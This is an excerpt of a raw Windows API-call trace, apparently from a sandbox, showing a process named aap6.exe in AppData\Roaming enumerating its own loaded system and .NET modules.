	[0116.053] GetLastError () returned 0xcb
	[0116.053] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.053] GetLastError () returned 0xcb
	[0116.053] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x24c5b58, cb=0xc | out: lpmodinfo=0x24c5b58*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.053] GetLastError () returned 0xcb
	[0116.053] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.053] GetLastError () returned 0xcb
	[0116.054] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.054] GetLastError () returned 0xcb
	[0116.054] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x24c6c54, cb=0xc | out: lpmodinfo=0x24c6c54*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.054] GetLastError () returned 0xcb
	[0116.054] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.054] GetLastError () returned 0xcb
	[0116.054] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.054] GetLastError () returned 0xcb
	[0116.054] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x24c7d58, cb=0xc | out: lpmodinfo=0x24c7d58*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.054] GetLastError () returned 0xcb
	[0116.055] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.055] GetLastError () returned 0xcb
	[0116.055] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75e80000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22
	[0116.055] GetLastError () returned 0xcb
	[0116.055] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77740000, lpmodinfo=0x24c8e94, cb=0xc | out: lpmodinfo=0x24c8e94*(lpBaseOfDll=0x77740000, SizeOfImage=0xa0000, EntryPoint=0x777549e5)) returned 1
	[0116.055] GetLastError () returned 0xcb
	[0116.055] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc
	[0116.055] GetLastError () returned 0xcb
	[0116.055] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20
	[0116.055] GetLastError () returned 0xcb
	[0116.056] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75dd0000, lpmodinfo=0x24c9f98, cb=0xc | out: lpmodinfo=0x24c9f98*(lpBaseOfDll=0x75dd0000, SizeOfImage=0xac000, EntryPoint=0x75dda472)) returned 1
	[0116.056] GetLastError () returned 0xcb
	[0116.056] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75dd0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa
	[0116.056] GetLastError () returned 0xcb
	[0116.056] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75dd0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e
	[0116.056] GetLastError () returned 0xcb
	[0116.056] GetModuleInformation (in: hProcess=0x1ec, hModule=0x759e0000, lpmodinfo=0x24cb094, cb=0xc | out: lpmodinfo=0x24cb094*(lpBaseOfDll=0x759e0000, SizeOfImage=0x19000, EntryPoint=0x759e4975)) returned 1
	[0116.057] GetLastError () returned 0xcb
	[0116.057] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x759e0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb
	[0116.057] GetLastError () returned 0xcb
	[0116.057] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x759e0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f
	[0116.057] GetLastError () returned 0xcb
	[0116.057] GetModuleInformation (in: hProcess=0x1ec, hModule=0x770d0000, lpmodinfo=0x24cc190, cb=0xc | out: lpmodinfo=0x24cc190*(lpBaseOfDll=0x770d0000, SizeOfImage=0xf0000, EntryPoint=0x770e0569)) returned 1
	[0116.057] GetLastError () returned 0xcb
	[0116.058] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x770d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa
	[0116.058] GetLastError () returned 0xcb
	[0116.058] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x770d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e
	[0116.058] GetLastError () returned 0xcb
	[0116.058] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75740000, lpmodinfo=0x24cd2dc, cb=0xc | out: lpmodinfo=0x24cd2dc*(lpBaseOfDll=0x75740000, SizeOfImage=0x60000, EntryPoint=0x7575a3b3)) returned 1
	[0116.058] GetLastError () returned 0xcb
	[0116.058] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75740000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb
	[0116.059] GetLastError () returned 0xcb
	[0116.059] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75740000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f
	[0116.059] GetLastError () returned 0xcb
	[0116.059] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75730000, lpmodinfo=0x24ce3d8, cb=0xc | out: lpmodinfo=0x24ce3d8*(lpBaseOfDll=0x75730000, SizeOfImage=0xc000, EntryPoint=0x757310e1)) returned 1
	[0116.059] GetLastError () returned 0xcb
	[0116.059] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75730000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd
	[0116.060] GetLastError () returned 0xcb
	[0116.060] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75730000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21
	[0116.060] GetLastError () returned 0xcb
	[0116.060] GetModuleInformation (in: hProcess=0x1ec, hModule=0x745a0000, lpmodinfo=0x24cf4dc, cb=0xc | out: lpmodinfo=0x24cf4dc*(lpBaseOfDll=0x745a0000, SizeOfImage=0x7a000, EntryPoint=0x745a1f48)) returned 1
	[0116.060] GetLastError () returned 0xcb
	[0116.060] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x745a0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc
	[0116.061] GetLastError () returned 0xcb
	[0116.061] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x745a0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a
	[0116.061] GetLastError () returned 0xcb
	[0116.061] GetModuleInformation (in: hProcess=0x1ec, hModule=0x773c0000, lpmodinfo=0x24d0614, cb=0xc | out: lpmodinfo=0x24d0614*(lpBaseOfDll=0x773c0000, SizeOfImage=0x57000, EntryPoint=0x773d9ba6)) returned 1
	[0116.061] GetLastError () returned 0xcb
	[0116.062] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x773c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb
	[0116.062] GetLastError () returned 0xcb
	[0116.062] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x773c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f
	[0116.062] GetLastError () returned 0xcb
	[0116.062] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75d40000, lpmodinfo=0x24d1710, cb=0xc | out: lpmodinfo=0x24d1710*(lpBaseOfDll=0x75d40000, SizeOfImage=0x90000, EntryPoint=0x75d56343)) returned 1
	[0116.063] GetLastError () returned 0xcb
	[0116.063] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75d40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9
	[0116.063] GetLastError () returned 0xcb
	[0116.063] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75d40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d
	[0116.064] GetLastError () returned 0xcb
	[0116.064] GetModuleInformation (in: hProcess=0x1ec, hModule=0x771c0000, lpmodinfo=0x24d2804, cb=0xc | out: lpmodinfo=0x24d2804*(lpBaseOfDll=0x771c0000, SizeOfImage=0x100000, EntryPoint=0x771db6ed)) returned 1
	[0116.064] GetLastError () returned 0xcb
	[0116.064] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x771c0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa
	[0116.064] GetLastError () returned 0xcb
	[0116.065] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x771c0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e
	[0116.065] GetLastError () returned 0xcb
	[0116.065] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76380000, lpmodinfo=0x24d3900, cb=0xc | out: lpmodinfo=0x24d3900*(lpBaseOfDll=0x76380000, SizeOfImage=0xa000, EntryPoint=0x763836a0)) returned 1
	[0116.065] GetLastError () returned 0xcb
	[0116.065] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76380000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7
	[0116.066] GetLastError () returned 0xcb
	[0116.066] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76380000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b
	[0116.066] GetLastError () returned 0xcb
	[0116.066] GetModuleInformation (in: hProcess=0x1ec, hModule=0x757d0000, lpmodinfo=0x24d49ec, cb=0xc | out: lpmodinfo=0x24d49ec*(lpBaseOfDll=0x757d0000, SizeOfImage=0x9d000, EntryPoint=0x75803fd7)) returned 1
	[0116.067] GetLastError () returned 0xcb
	[0116.067] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x757d0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9
	[0116.067] GetLastError () returned 0xcb
	[0116.067] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x757d0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d
	[0116.067] GetLastError () returned 0xcb
	[0116.067] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75a90000, lpmodinfo=0x24d5b70, cb=0xc | out: lpmodinfo=0x24d5b70*(lpBaseOfDll=0x75a90000, SizeOfImage=0x60000, EntryPoint=0x75aa158f)) returned 1
	[0116.068] GetLastError () returned 0xcb
	[0116.068] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75a90000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9
	[0116.068] GetLastError () returned 0xcb
	[0116.068] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75a90000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d
	[0116.069] GetLastError () returned 0xcb
	[0116.069] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77670000, lpmodinfo=0x24d6c64, cb=0xc | out: lpmodinfo=0x24d6c64*(lpBaseOfDll=0x77670000, SizeOfImage=0xcc000, EntryPoint=0x7767168b)) returned 1
	[0116.069] GetLastError () returned 0xcb
	[0116.069] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77670000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9
	[0116.070] GetLastError () returned 0xcb
	[0116.070] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77670000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d
	[0116.070] GetLastError () returned 0xcb
	[0116.070] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6f050000, lpmodinfo=0x24d7d58, cb=0xc | out: lpmodinfo=0x24d7d58*(lpBaseOfDll=0x6f050000, SizeOfImage=0x5ab000, EntryPoint=0x6f0a3dc0)) returned 1
	[0116.070] GetLastError () returned 0xcb
	[0116.071] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6f050000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc
	[0116.071] GetLastError () returned 0xcb
	[0116.071] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6f050000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a
	[0116.071] GetLastError () returned 0xcb
	[0116.071] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74cb0000, lpmodinfo=0x24d8e90, cb=0xc | out: lpmodinfo=0x24d8e90*(lpBaseOfDll=0x74cb0000, SizeOfImage=0x9b000, EntryPoint=0x74cb232b)) returned 1
	[0116.072] GetLastError () returned 0xcb
	[0116.072] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74cb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb
	[0116.072] GetLastError () returned 0xcb
	[0116.072] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74cb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a
	[0116.073] GetLastError () returned 0xcb
	[0116.073] GetModuleInformation (in: hProcess=0x1ec, hModule=0x76480000, lpmodinfo=0x24da024, cb=0xc | out: lpmodinfo=0x24da024*(lpBaseOfDll=0x76480000, SizeOfImage=0xc4a000, EntryPoint=0x76501601)) returned 1
	[0116.073] GetLastError () returned 0xcb
	[0116.073] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x76480000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb
	[0116.074] GetLastError () returned 0xcb
	[0116.074] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x76480000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f
	[0116.074] GetLastError () returned 0xcb
	[0116.074] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75be0000, lpmodinfo=0x24db120, cb=0xc | out: lpmodinfo=0x24db120*(lpBaseOfDll=0x75be0000, SizeOfImage=0x15c000, EntryPoint=0x75c2ba3d)) returned 1
	[0116.075] GetLastError () returned 0xcb
	[0116.075] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9
	[0116.075] GetLastError () returned 0xcb
	[0116.075] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d
	[0116.076] GetLastError () returned 0xcb
	[0116.076] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74590000, lpmodinfo=0x24dc214, cb=0xc | out: lpmodinfo=0x24dc214*(lpBaseOfDll=0x74590000, SizeOfImage=0xb000, EntryPoint=0x74591992)) returned 1
	[0116.076] GetLastError () returned 0xcb
	[0116.076] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74590000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb
	[0116.077] GetLastError () returned 0xcb
	[0116.077] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74590000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f
	[0116.077] GetLastError () returned 0xcb
	[0116.077] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6de00000, lpmodinfo=0x24dd310, cb=0xc | out: lpmodinfo=0x24dd310*(lpBaseOfDll=0x6de00000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1
	[0116.078] GetLastError () returned 0xcb
	[0116.078] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6de00000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf
	[0116.078] GetLastError () returned 0xcb
	[0116.078] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6de00000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68
	[0116.079] GetLastError () returned 0xcb
	[0116.079] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74ee0000, lpmodinfo=0x24de4a8, cb=0xc | out: lpmodinfo=0x24de4a8*(lpBaseOfDll=0x74ee0000, SizeOfImage=0x80000, EntryPoint=0x74ef37c9)) returned 1
	[0116.079] GetLastError () returned 0xcb
	[0116.080] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74ee0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb
	[0116.080] GetLastError () returned 0xcb
	[0116.080] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74ee0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f
	[0116.081] GetLastError () returned 0xcb
	[0116.081] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6fa10000, lpmodinfo=0x24df5a4, cb=0xc | out: lpmodinfo=0x24df5a4*(lpBaseOfDll=0x6fa10000, SizeOfImage=0x5b000, EntryPoint=0x6fa54d48)) returned 1
	[0116.081] GetLastError () returned 0xcb
	[0116.081] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6fa10000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc
	[0116.082] GetLastError () returned 0xcb
	[0116.082] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6fa10000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a
	[0116.082] GetLastError () returned 0xcb
	[0116.082] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6d660000, lpmodinfo=0x24e06dc, cb=0xc | out: lpmodinfo=0x24e06dc*(lpBaseOfDll=0x6d660000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1
	[0116.083] GetLastError () returned 0xcb
	[0116.083] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6d660000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd
	[0116.083] GetLastError () returned 0xcb
	[0116.083] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6d660000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64
	[0116.084] GetLastError () returned 0xcb
	[0116.084] GetModuleInformation (in: hProcess=0x1ec, hModule=0x6bb40000, lpmodinfo=0x24e1868, cb=0xc | out: lpmodinfo=0x24e1868*(lpBaseOfDll=0x6bb40000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1
	[0116.084] GetLastError () returned 0xcb
	[0116.085] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x6bb40000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c
	[0116.085] GetLastError () returned 0xcb
	[0116.085] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x6bb40000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81
	[0116.086] GetLastError () returned 0xcb
	[0116.086] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77650000, lpmodinfo=0x24e2a4c, cb=0xc | out: lpmodinfo=0x24e2a4c*(lpBaseOfDll=0x77650000, SizeOfImage=0x5000, EntryPoint=0x77651438)) returned 1
	[0116.086] GetLastError () returned 0xcb
	[0116.086] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77650000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9
	[0116.087] GetLastError () returned 0xcb
	[0116.087] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77650000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d
	[0116.087] GetLastError () returned 0xcb
	[0116.088] CloseHandle (hObject=0x1ec) returned 1
	[0116.088] GetLastError () returned 0xcb
	[0116.092] CoCreateGuid (in: pguid=0x3ed4f4 | out: pguid=0x3ed4f4*(Data1=0x1bb5f49, Data2=0xbe8a, Data3=0x4c5c, Data4=([0]=0xa2, [1]=0x7c, [2]=0xef, [3]=0x85, [4]=0xe3, [5]=0x1f, [6]=0xda, [7]=0xe))) returned 0x0
	[0116.102] CoCreateGuid (in: pguid=0x3eda58 | out: pguid=0x3eda58*(Data1=0xb88e1a98, Data2=0x5df9, Data3=0x4ff5, Data4=([0]=0x92, [1]=0xce, [2]=0x9c, [3]=0x76, [4]=0x22, [5]=0x9, [6]=0xfe, [7]=0x6e))) returned 0x0
	[0116.111] GetProcAddress (hModule=0x77740000, lpProcName="GetKernelObjectSecurity") returned 0x7775462d
	[0116.123] GetCurrentProcessId () returned 0x9f8
	[0116.123] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x1ec
	[0116.123] GetLastError () returned 0xcb
	[0116.123] EnumProcessModules (in: hProcess=0x1ec, lphModule=0x252dda0, cb=0x100, lpcbNeeded=0x3ee204 | out: lphModule=0x252dda0, lpcbNeeded=0x3ee204) returned 1
	[0116.123] GetLastError () returned 0xcb
	[0116.123] GetModuleInformation (in: hProcess=0x1ec, hModule=0x900000, lpmodinfo=0x252dee0, cb=0xc | out: lpmodinfo=0x252dee0*(lpBaseOfDll=0x900000, SizeOfImage=0x40000, EntryPoint=0x9380ce)) returned 1
	[0116.123] GetLastError () returned 0xcb
	[0116.123] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x900000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="aap6.exe") returned 0x8
	[0116.124] GetLastError () returned 0xcb
	[0116.124] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x900000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\aap6.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\aap6.exe")) returned 0x2a
	[0116.124] GetLastError () returned 0xcb
	[0116.124] GetModuleInformation (in: hProcess=0x1ec, hModule=0x77be0000, lpmodinfo=0x252f010, cb=0xc | out: lpmodinfo=0x252f010*(lpBaseOfDll=0x77be0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1
	[0116.124] GetLastError () returned 0xcb
	[0116.124] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x77be0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9
	[0116.124] GetLastError () returned 0xcb
	[0116.124] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x77be0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d
	[0116.125] GetLastError () returned 0xcb
	[0116.125] GetModuleInformation (in: hProcess=0x1ec, hModule=0x74620000, lpmodinfo=0x2530104, cb=0xc | out: lpmodinfo=0x2530104*(lpBaseOfDll=0x74620000, SizeOfImage=0x4a000, EntryPoint=0x74622e54)) returned 1
	[0116.125] GetLastError () returned 0xcb
	[0116.125] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x74620000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb
	[0116.125] GetLastError () returned 0xcb
	[0116.125] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x74620000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f
	[0116.125] GetLastError () returned 0xcb
	[0116.125] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75fb0000, lpmodinfo=0x2531200, cb=0xc | out: lpmodinfo=0x2531200*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x110000, EntryPoint=0x75fc32d3)) returned 1
	[0116.125] GetLastError () returned 0xcb
	[0116.126] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75fb0000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc
	[0116.126] GetLastError () returned 0xcb
	[0116.126] GetModuleFileNameExW (in: hProcess=0x1ec, hModule=0x75fb0000, lpFilename=0x248690, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20
	[0116.127] GetLastError () returned 0xcb
	[0116.127] GetModuleInformation (in: hProcess=0x1ec, hModule=0x75e80000, lpmodinfo=0x2532304, cb=0xc | out: lpmodinfo=0x2532304*(lpBaseOfDll=0x75e80000, SizeOfImage=0x46000, EntryPoint=0x75e87478)) returned 1
	[0116.127] GetLastError () returned 0xcb
	[0116.127] GetModuleBaseNameW (in: hProcess=0x1ec, hModule=0x75e80000, lpBaseName=0x248690, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe
	[0116.127] GetLastError () returned 0xcb
